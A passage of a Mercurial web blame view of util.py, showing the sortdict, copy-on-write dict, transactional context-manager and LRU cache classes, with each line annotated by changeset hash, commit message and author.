parents:
34295
diff
changeset
|
1262 |
self._copied = getattr(self, '_copied', 0) + 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1263 |
return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1264 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1265 |
|
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1266 |
class sortdict(collections.OrderedDict): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
1267 |
"""a simple sorted dictionary |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1268 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1269 |
>>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1270 |
>>> d2 = d1.copy() |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1271 |
>>> d2 |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1272 |
sortdict([('a', 0), ('b', 1)]) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1273 |
>>> d2.update([(b'a', 2)]) |
34139
be00af4a1ac5
doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents:
34137
diff
changeset
|
1274 |
>>> list(d2.keys()) # should still be in last-set order |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1275 |
['b', 'a'] |
43907
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1276 |
>>> d1.insert(1, b'a.5', 0.5) |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1277 |
>>> d1 |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1278 |
sortdict([('a', 0), ('a.5', 0.5), ('b', 1)]) |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
1279 |
""" |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
1280 |
|
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1281 |
def __setitem__(self, key, value): |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1282 |
if key in self: |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1283 |
del self[key] |
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
1284 |
super(sortdict, self).__setitem__(key, value) |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
1285 |
|
33626
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1286 |
if pycompat.ispypy: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1287 |
# __setitem__() isn't called as of PyPy 5.8.0 |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1288 |
def update(self, src): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1289 |
if isinstance(src, dict): |
43106
d783f945a701
py3: finish porting iteritems() to pycompat and remove source transformer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43103
diff
changeset
|
1290 |
src = pycompat.iteritems(src) |
33626
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1291 |
for k, v in src: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1292 |
self[k] = v |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
1293 |
|
43907
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1294 |
def insert(self, position, key, value): |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1295 |
for (i, (k, v)) in enumerate(list(self.items())): |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1296 |
if i == position: |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1297 |
self[key] = value |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1298 |
if i >= position: |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1299 |
del self[k] |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1300 |
self[k] = v |
68af0228fedc
util: implement sortdict.insert()
Martin von Zweigbergk <martinvonz@google.com>
parents:
43883
diff
changeset
|
1301 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1302 |
|
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1303 |
class cowdict(cow, dict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1304 |
"""copy-on-write dict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1305 |
|
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1306 |
Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1307 |
|
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1308 |
>>> a = cowdict() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1309 |
>>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1310 |
True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1311 |
>>> b = a.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1312 |
>>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1313 |
True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1314 |
>>> c = b.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1315 |
>>> c is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1316 |
True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1317 |
>>> a = a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1318 |
>>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1319 |
False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1320 |
>>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1321 |
True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1322 |
>>> c = c.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1323 |
>>> b is c |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1324 |
False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1325 |
>>> b is b.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1326 |
True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1327 |
""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1328 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1329 |
|
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1330 |
class cowsortdict(cow, sortdict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1331 |
"""copy-on-write sortdict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1332 |
|
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1333 |
Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1334 |
""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1335 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1336 |
|
43474
70d42e2ad9b4
pytype: don't warn us about ignored-on-py3 metaclasses
Augie Fackler <augie@google.com>
parents:
43117
diff
changeset
|
1337 |
class transactional(object): # pytype: disable=ignored-metaclass |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1338 |
"""Base class for making a transactional type into a context manager.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1339 |
|
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1340 |
__metaclass__ = abc.ABCMeta |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1341 |
|
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1342 |
@abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1343 |
def close(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1344 |
"""Successfully closes the transaction.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1345 |
|
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1346 |
@abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1347 |
def release(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1348 |
"""Marks the end of the transaction. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1349 |
|
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1350 |
If the transaction has not been closed, it will be aborted. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1351 |
""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1352 |
|
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1353 |
def __enter__(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1354 |
return self |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1355 |
|
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1356 |
def __exit__(self, exc_type, exc_val, exc_tb): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1357 |
try: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1358 |
if exc_type is None: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1359 |
self.close() |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1360 |
finally: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1361 |
self.release() |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1362 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1363 |
|
33446
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1364 |
@contextlib.contextmanager |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1365 |
def acceptintervention(tr=None): |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1366 |
"""A context manager that closes the transaction on InterventionRequired |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1367 |
|
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1368 |
If no transaction was provided, this simply runs the body and returns |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1369 |
""" |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1370 |
if not tr: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1371 |
yield |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1372 |
return |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1373 |
try: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1374 |
yield |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1375 |
tr.close() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1376 |
except error.InterventionRequired: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1377 |
tr.close() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1378 |
raise |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1379 |
finally: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1380 |
tr.release() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1381 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1382 |
|
33619
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1383 |
@contextlib.contextmanager |
45146
a0791bfd9cfa
util: enhance `nullcontextmanager` to be able to return __enter__ result
Manuel Jacob <me@manueljacob.de>
parents:
45061
diff
changeset
|
1384 |
def nullcontextmanager(enter_result=None): |
a0791bfd9cfa
util: enhance `nullcontextmanager` to be able to return __enter__ result
Manuel Jacob <me@manueljacob.de>
parents:
45061
diff
changeset
|
1385 |
yield enter_result |
33619
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1386 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1387 |
|
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1388 |
class _lrucachenode(object): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1389 |
"""A node in a doubly linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1390 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1391 |
Holds a reference to nodes on either side as well as a key-value |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1392 |
pair for the dictionary entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1393 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1394 |
|
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
1395 |
__slots__ = ('next', 'prev', 'key', 'value', 'cost') |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1396 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1397 |
def __init__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1398 |
self.next = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1399 |
self.prev = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1400 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1401 |
self.key = _notset |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1402 |
self.value = None |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1403 |
self.cost = 0 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1404 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1405 |
def markempty(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1406 |
"""Mark the node as emptied.""" |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1407 |
self.key = _notset |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1408 |
self.value = None |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1409 |
self.cost = 0 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1410 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1411 |
|
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1412 |
class lrucachedict(object): |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1413 |
"""Dict that caches most recent accesses and sets. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1414 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1415 |
The dict consists of an actual backing dict - indexed by original |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1416 |
key - and a doubly linked circular list defining the order of entries in |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1417 |
the cache. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1418 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1419 |
The head node is the newest entry in the cache. If the cache is full, |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1420 |
we recycle head.prev and make it the new head. Cache accesses result in |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1421 |
the node being moved to before the existing head and being marked as the |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1422 |
new head node. |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1423 |
|
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1424 |
Items in the cache can be inserted with an optional "cost" value. This is |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1425 |
simply an integer that is specified by the caller. The cache can be queried |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1426 |
for the total cost of all items presently in the cache. |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1427 |
|
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1428 |
The cache can also define a maximum cost. If a cache insertion would |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1429 |
cause the total cost of the cache to go beyond the maximum cost limit, |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1430 |
nodes will be evicted to make room for the new code. This can be used |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1431 |
to e.g. set a max memory limit and associate an estimated bytes size |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1432 |
cost to each item in the cache. By default, no maximum cost is enforced. |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1433 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1434 |
|
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1435 |
def __init__(self, max, maxcost=0): |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1436 |
self._cache = {} |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1437 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1438 |
self._head = head = _lrucachenode() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1439 |
head.prev = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1440 |
head.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1441 |
self._size = 1 |
39564
5d75a3c16193
util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39563
diff
changeset
|
1442 |
self.capacity = max |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1443 |
self.totalcost = 0 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1444 |
self.maxcost = maxcost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1445 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1446 |
def __len__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1447 |
return len(self._cache) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1448 |
|
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1449 |
def __contains__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1450 |
return k in self._cache |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1451 |
|
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
